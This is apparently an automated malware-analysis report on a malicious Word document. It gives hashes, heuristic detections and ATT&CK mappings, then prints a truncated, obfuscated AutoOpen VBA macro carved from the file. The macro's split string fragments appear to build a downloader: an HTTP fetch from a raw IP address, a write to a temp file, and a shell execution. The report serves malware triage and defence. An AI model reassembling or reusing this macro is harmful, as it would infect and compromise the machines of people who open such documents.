Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ceb9654d64b7d33c…

MALICIOUS

Office (OLE)

64.5 KB Created: 2016-08-23 16:05:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: 5686b3ea86f0aabd9e3f509c3e49eb5e SHA-1: 5df1050e26d8898244b72ac1fb0d93bf42e88da8 SHA-256: ceb9654d64b7d33cf4977e9f4e512d4c767ff9a440394bd76bdbca82a395a69a
164 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening the document. The heuristic firings indicate the use of CreateObject, suggesting the macro attempts to instantiate and run objects, likely to download and execute a secondary payload. No specific family could be identified.

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7024 bytes
SHA-256: f97b9c993a2c696950b158347763d98f8b6db17ae0ce4ef181442a2311d7ffa5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim uttutzobur, icujpe4, awjoge, ilesvifdu, ifymkyme, yxehyxum9, ginzespugt, upymjiwap, hemezuvu, urikicy7
Dim opregacqix0
Dim ibirduqju0
Dim nilpusgusli
Dim ofsezcexbig1, qmyplalwyqa8, eczuqoty6, alymhofjuw5, ljepidnocla, ubokkyr2, icoccelufw5, emuvuhb4, senlary8, nynjytkywpy, zonjaggutfi3, wxokyfpiga, ubara5, ulquvdezru3, kpiqpapv0, hqetladalco, bxispelago7
Dim banbikurk
Dim klyskewxatzy
Dim edamvapde0, suphykt, ojizitg2, ifisahy, ahpecimxuqh, utyvem3, ubastefjyv, ezipyjy6, arobakm7, itwepawxorw, ubigmyf, tucqufi
Dim olraljutrajd, nynhigat, cladyzd, rfyqavups5, tgemnehku4, ufuzva7, rirpeqz7, tsiwekurta5, unyjugnukb6, qybyhm0, pizodo5, kinub6, anarhezaq0, yjbukudvez3, quwafa5
Dim yvhycgo, evykaci, aqararhogk, tuvlikidv0, basomgo, ufcapuqkub8, wejdogk5, kinnatruje, yvihqolcygt9
Dim zyxifis
Dim ftinatj5
Dim azubdezu, undinxanve3, qhotdazymqu, kryxzisevho6, veqypqo, zgacqeri, yrkumjywi0, fwaxhaxcase, wiwmugobny8, edgelfi3
Dim ohsize0, hijic9, fajevro5, imtykybv, vubvuqzir4, gagytigq1, yzhepa9, ewosy, utdehe1, sewyfe, motfazi9, vyzycgodj, refycmyjj7
Dim ujutad4
Dim exarde9, topjaqe9, ugxuqvecw, hdepzymowo9, osbympivvo, wykuwefi6, qpohwek6, gzoxcusf, yddoki, udyvvemtu, dyjyt1, uhagavvypm, ortozsu
Dim fykil, anzafupt, rkonsehbi2, crozylpejy3, fificocsa, mycugizo, ajigcapyzg7, anuxixna, xbizkoxuno
Dim odfohyssi, oxawo, emwoxfoganz, bhemupto, qvigsowj2, prewaq, umbilihu, yfrozo, yplugi1, unruwigicw5, sdyhvugp, ikojolt, gvodxucjap
Dim ukvytzis, idoqbi, ylkinicqy, arykbezy, othijsuj2, otivlikku3, tuvbezomd, uniwb, nyjowy, bxizyxvo, uxupxib, edabtu5, wryzmuh1
Dim xydnym8
Dim tjonuj, dhotkyz, ekjufeg, ehmohbo, odygfilu
itwepawxorw = "ream"
rfyqavups5 = ", ""h"
unyjugnukb6 = "l"");"
zonjaggutfi3 = "md.e"
oxawo = "ript"
arobakm7 = "shel"
kinnatruje = ".174"
alymhofjuw5 = "eXOb"
undinxanve3 = " = n"
hqetladalco = "GET"""
olraljutrajd = "cial"
ujutad4 = "cros"
fykil = "Shel"
fwaxhaxcase = "drun"
uhagavvypm = " cmd"
anuxixna = "eXOb"
topjaqe9 = "er( "
emwoxfoganz = "; "
qmyplalwyqa8 = "Acti"
tsiwekurta5 = "();s"
utdehe1 = "w Ac"
ortozsu = """);v"
ifymkyme = ".Ope"
evykaci = ");st"
sewyfe = "am.P"
utyvem3 = "File"
fajevro5 = "ttp:"
ilesvifdu = "Body"
wiwmugobny8 = "TTP"""
ikojolt = " var"
ufcapuqkub8 = "DODB"
ukvytzis = " 0);"
ahpecimxuqh = ".Str"
nilpusgusli = ";var"
ubigmyf = "stre"
motfazi9 = "ew A"
klyskewxatzy = "ing."
vyzycgodj = "trea"
hemezuvu = "l = "
urikicy7 = "bcry"
yvihqolcygt9 = "ream"
sdyhvugp = "stre"
ezipyjy6 = ", 0)"
ibirduqju0 = "n(cm"
gagytigq1 = "pt.e"
yddoki = "ype "
exarde9 = "send"
kpiqpapv0 = "fso."
edamvapde0 = "eam"""
ifisahy = "s.op"
qhotdazymqu = "se()"
upymjiwap = ");st"
refycmyjj7 = " = n"
ulquvdezru3 = "path"
aqararhogk = "Resp"
vubvuqzir4 = " (""A"
yvhycgo = "= ne"
yplugi1 = "49/b"
emuvuhb4 = "(""Sc"
ufuzva7 = "ite("
anarhezaq0 = "= 0;"
bhemupto = "xe"","
opregacqix0 = "ctiv"
ohsize0 = "o.Ge"
ugxuqvecw = "ipt."
nynjytkywpy = "var "
wykuwefi6 = "ream"
gvodxucjap = "t ("""
ojizitg2 = "//93"
unruwigicw5 = "shel"
prewaq = "run "
qpohwek6 = "tSpe"
yfrozo = "tive"
banbikurk = "am.T"
ljepidnocla = "Fold"
rirpeqz7 = "ream"
eczuqoty6 = "th; "
qybyhm0 = "bjec"
anzafupt = "oft."
basomgo = "ew A"
fificocsa = "WScr"
cladyzd = ");st"
xbizkoxuno = """ + "
ginzespugt = ");as"
yxehyxum9 = "m.Wr"
tuvlikidv0 = "ject"
kinub6 = "ject"
quwafa5 = ".Clo"
awjoge = "ctiv"
zyxifis = "en("""
dyjyt1 = "ass."
ubokkyr2 = "n();"
ylkinicqy = "ject"
wxokyfpiga = "veXO"
hijic9 = "= 1;"
idoqbi = "l.ru"
suphykt = "r st"
ubara5 = "eToF"
ajigcapyzg7 = "var "
icoccelufw5 = "ar t"
gzoxcusf = "ect "
ubastefjyv = "p_pa"
yjbukudvez3 = "onse"
yzhepa9 = "ile("
osbympivvo = ".91."
nynhigat = "GetT"
pizodo5 = "osit"
wejdogk5 = "emp
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.